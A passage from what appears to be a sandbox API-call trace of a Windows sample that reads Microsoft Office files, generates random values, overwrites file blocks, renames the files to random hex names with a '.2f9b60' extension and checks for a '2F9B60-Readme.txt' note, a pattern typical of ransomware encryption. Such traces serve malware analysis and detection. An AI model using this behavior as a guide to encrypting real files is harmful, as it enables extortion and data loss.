RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860bd0 [0122.804] SetFilePointerEx (in: hFile=0xfe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.804] WriteFile (in: hFile=0xfe8, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2060faf0, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x2060faf0*=0x10a, lpOverlapped=0x0) returned 1 [0123.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6aa0 [0123.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6aa0) returned 1 [0123.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6aa0 [0123.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b00 [0123.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b00) returned 1 [0123.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.034] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="d2") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="0a") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="0b") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="d9") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="8c") returned 2 [0123.034] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="56") returned 2 [0123.034] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="f3") returned 2 [0123.034] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="a3") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="68") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="26") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="a4") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="c1") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="79") returned 2 [0123.034] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="8f") returned 2 [0123.034] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="7d") returned 2 [0123.034] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="b6") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="a5") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="7f") returned 2 [0123.034] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="12") returned 2 [0123.035] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="96") returned 2 [0123.035] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="bd") returned 2 [0123.035] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="9e") returned 2 [0123.035] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="c3") returned 2 [0123.035] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="09") returned 2 [0123.035] RtlInitAnsiString (in: DestinationString=0x2060fb68, SourceString="d20a0bd98c56f3a36826a4c1798f7db6a57f1296bd9ec309" | out: DestinationString="d20a0bd98c56f3a36826a4c1798f7db6a57f1296bd9ec309") [0123.035] RtlAnsiStringToUnicodeString (in: DestinationString=0x2060fb38, SourceString="d20a0bd98c56f3a36826a4c1798f7db6a57f1296bd9ec309", AllocateDestinationString=1 | out: DestinationString="d20a0bd98c56f3a36826a4c1798f7db6a57f1296bd9ec309") returned 0x0 [0123.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9010 [0123.035] wcscat (in: _Dest=0x202b1870, _Source="d20a0bd98c56" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d20a0bd98c56") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d20a0bd98c56" [0123.035] wcscat (in: _Dest=0x202b1870, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d20a0bd98c56.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d20a0bd98c56.2f9b60" [0123.035] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d20a0bd98c56.2f9b60", NtPathName=0x2060fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d20a0bd98c56.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106880 [0123.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106880) returned 1 [0123.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202902e0) returned 1 [0123.423] NtQueryInformationFile (in: FileHandle=0xfe8, IoStatusBlock=0x2060fb78, FileInformation=0x2060fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2060fb78, FileInformation=0x2060fb88) returned 0x0 [0123.423] NtSetInformationFile (FileHandle=0xfe8, IoStatusBlock=0x2060fb78, FileInformation=0x2060fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1870) returned 1 [0123.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9010) returned 1 [0123.442] FlushFileBuffers (hFile=0xfe8) returned 1 [0123.462] CloseHandle (hObject=0xfe8) returned 1 [0123.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1870 [0123.464] wcscpy (in: _Dest=0x202b1870, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.464] wcscat (in: _Dest=0x202b1870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1870) returned 1 [0123.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a2f0) returned 1 Thread: id = 1526 os_tid = 0x1a2c [0120.767] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl")) returned 0x20 [0120.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL", dwFileAttributes=0x20) returned 1 [0120.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\APA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\apa.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1790 [0120.771] GetFileSizeEx (in: hFile=0x1790, lpFileSize=0x2075fa20 | out: lpFileSize=0x2075fa20*=380164) returned 1 [0120.771] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x5cd00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.771] ReadFile (in: hFile=0x1790, lpBuffer=0x2075f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2075f9e8, lpOverlapped=0x0 | out: lpBuffer=0x2075f9a0*, lpNumberOfBytesRead=0x2075f9e8*=0x4, lpOverlapped=0x0) returned 1 [0121.156] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6440 [0121.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7250 [0121.156] NtQuerySystemTime (in: CurrentTime=0x2075f8e0 | out: CurrentTime=0x2075f8e0*=132462177265546000) returned 0x0 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x1a77db2e [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x22ec72c0 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x33ce2f29 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x45769cc [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x5d33f6a8 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x5a3f50f6 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0xe8e4f72 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x59d37e4 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x4d20c25b [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x1af211bb [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x46cc9953 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x7afadaf0 [0121.156] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x10e271a5 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x731c8e79 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x3d1f3641 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x7e2b0201 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x5f8bfeee [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x45c9128e [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x2033c1a4 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x56495455 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x78e21ba5 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x59d3e6d8 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x60bb9d58 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x5e0e2292 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x65698bd4 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x2cfbed14 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x6ad1ac3d [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x6d2eaa25 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x30eb89b5 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x5b80aeda [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0xcb8a7e6 [0121.157] RtlRandomEx (in: Seed=0x2075f8d0 | out: Seed=0x2075f8d0) returned 0x1f5502cd [0124.298] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.299] ReadFile (in: hFile=0x1790, lpBuffer=0x41c578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2075f940, lpOverlapped=0x0 | out: lpBuffer=0x41c578d0*, lpNumberOfBytesRead=0x2075f940*=0x3c00, lpOverlapped=0x0) returned 1 [0124.444] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0124.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e790 [0124.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202600b0 [0124.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202600b0) returned 1 [0124.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c500b0 [0124.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202600b0 [0124.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c00 [0124.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c00) returned 1 [0124.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0124.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0124.445] WriteFile (hFile=0x1790, lpBuffer=0x41c500b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2075f940, lpOverlapped=0x0) [0173.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c500b0) returned 1 [0173.001] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.001] ReadFile (in: hFile=0x1790, lpBuffer=0x41c578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2075f940, lpOverlapped=0x0 | out: lpBuffer=0x41c578d0*, lpNumberOfBytesRead=0x2075f940*=0x3c00, lpOverlapped=0x0) returned 1 [0173.002] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0173.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505110 [0173.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a60 [0173.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a60) returned 1 [0173.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c500b0 [0173.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a60 [0173.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f39a0 [0173.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f39a0) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505110) returned 1 [0173.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0173.006] WriteFile (in: hFile=0x1790, lpBuffer=0x41c500b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2075f940, lpOverlapped=0x0 | out: lpBuffer=0x41c500b0*, lpNumberOfBytesWritten=0x2075f940*=0x3c00, lpOverlapped=0x0) returned 1 [0194.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c500b0) returned 1 [0194.864] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x59104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.864] ReadFile (in: hFile=0x1790, lpBuffer=0x41c578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2075f940, lpOverlapped=0x0 | out: lpBuffer=0x41c578d0*, lpNumberOfBytesRead=0x2075f940*=0x3c00, lpOverlapped=0x0) returned 1 [0195.581] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x59104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058560 [0195.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0195.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137360 [0195.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137360) returned 1 [0195.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4249f1d0 [0195.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137360 [0195.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431371e0 [0195.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431371e0) returned 1 [0195.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0195.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0195.585] WriteFile (in: hFile=0x1790, lpBuffer=0x4249f1d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2075f940, lpOverlapped=0x0 | out: lpBuffer=0x4249f1d0*, lpNumberOfBytesWritten=0x2075f940*=0x3c00, lpOverlapped=0x0) returned 1 [0211.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4249f1d0) returned 1 [0211.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431a0160 [0211.135] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0211.135] WriteFile (in: hFile=0x1790, lpBuffer=0x1cebd150*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2075f9f0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd150*, lpNumberOfBytesWritten=0x2075f9f0*=0x140, lpOverlapped=0x0) returned 1 [0215.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0215.677] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9fe0 [0215.678] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb20 [0215.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bb20) returned 1 [0215.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0215.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bb20 [0215.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a620 [0215.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0215.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9fe0) returned 1 [0215.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0215.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x4205a620 [0215.682] sprintf (in: _Dest=0x4205a620, _Format="%c%c" | out: _Dest="a5") returned 2 [0215.682] sprintf (in: _Dest=0x4205a622, _Format="%c%c" | out: _Dest="ef") returned 2 [0215.682] sprintf (in: _Dest=0x4205a624, _Format="%c%c" | out: _Dest="d8") returned 2 [0215.682] sprintf (in: _Dest=0x4205a626, _Format="%c%c" | out: _Dest="87") returned 2 [0215.682] sprintf (in: _Dest=0x4205a628, _Format="%c%c" | out: _Dest="eb") returned 2 [0215.682] sprintf (in: _Dest=0x4205a62a, _Format="%c%c" | out: _Dest="21") returned 2 [0215.682] sprintf (in: _Dest=0x4205a62c, _Format="%c%c" | out: _Dest="54") returned 2 [0215.682] sprintf (in: _Dest=0x4205a62e, _Format="%c%c" | out: _Dest="2e") returned 2 [0215.682] sprintf (in: _Dest=0x4205a630, _Format="%c%c" | out: _Dest="02") returned 2 [0215.682] sprintf (in: _Dest=0x4205a632, _Format="%c%c" | out: _Dest="93") returned 2 [0215.682] sprintf (in: _Dest=0x4205a634, _Format="%c%c" | out: _Dest="f3") returned 2 [0215.682] sprintf (in: _Dest=0x4205a636, _Format="%c%c" | out: _Dest="e2") returned 2 [0215.682] sprintf (in: _Dest=0x4205a638, _Format="%c%c" | out: _Dest="6c") returned 2 [0215.682] sprintf (in: _Dest=0x4205a63a, _Format="%c%c" | out: _Dest="79") returned 2 [0215.682] RtlInitAnsiString (in: DestinationString=0x2075fa68, SourceString="a5efd887eb21542e0293f3e26c79" | out: DestinationString="a5efd887eb21542e0293f3e26c79") [0215.682] RtlAnsiStringToUnicodeString (in: DestinationString=0x2075fa38, SourceString="a5efd887eb21542e0293f3e26c79", AllocateDestinationString=1 | out: DestinationString="a5efd887eb21542e0293f3e26c79") returned 0x0 [0215.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42058c40 [0215.683] wcscat (in: _Dest=0x1ce16d40, _Source="a5efd88" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a5efd88") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a5efd88" [0215.683] wcscat (in: _Dest=0x1ce16d40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a5efd88.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a5efd88.2f9b60" [0215.683] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a5efd88.2f9b60", NtPathName=0x2075fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\a5efd88.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431287e0 [0226.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431287e0) returned 1 [0226.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b35e0) returned 1 [0226.799] NtQueryInformationFile (in: FileHandle=0x1790, IoStatusBlock=0x2075fa78, FileInformation=0x2075fa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2075fa78, FileInformation=0x2075fa88) returned 0x0 [0226.799] NtSetInformationFile (FileHandle=0x1790, IoStatusBlock=0x2075fa78, FileInformation=0x2075fa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16d40) returned 1 [0234.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c40) returned 1 [0234.739] FlushFileBuffers (hFile=0x1790) returned 1 [0238.176] CloseHandle (hObject=0x1790) returned 1 [0240.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd653f0 [0240.441] wcscpy (in: _Dest=0x1cd653f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0240.441] wcscat (in: _Dest=0x1cd653f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0240.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0240.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd653f0) returned 1 [0240.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1a50) returned 1 Thread: id = 1527 os_tid = 0x1a30 [0121.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl")) returned 0x20 [0121.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL", dwFileAttributes=0x20) returned 1 [0121.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\CHICAGO.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\chicago.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdbc [0121.538] GetFileSizeEx (in: hFile=0xdbc, lpFileSize=0x2069f680 | out: lpFileSize=0x2069f680*=337964) returned 1 [0121.538] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x52828, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.538] ReadFile (in: hFile=0xdbc, lpBuffer=0x2069f600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2069f648, lpOverlapped=0x0 | out: lpBuffer=0x2069f600*, lpNumberOfBytesRead=0x2069f648*=0x4, lpOverlapped=0x0) returned 1 [0122.264] SetFilePointerEx (in: hFile=0xdbc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 [0122.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fd0 [0122.264] NtQuerySystemTime (in: CurrentTime=0x2069f540 | out: CurrentTime=0x2069f540*=132462177276466000) returned 0x0 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x72bcb8bf [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x99ce00a [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x5dfea2f8 [0122.265] RtlRandomEx (in: Seed=0x2069f530 | out: Seed=0x2069f530) returned 0x57f0696d 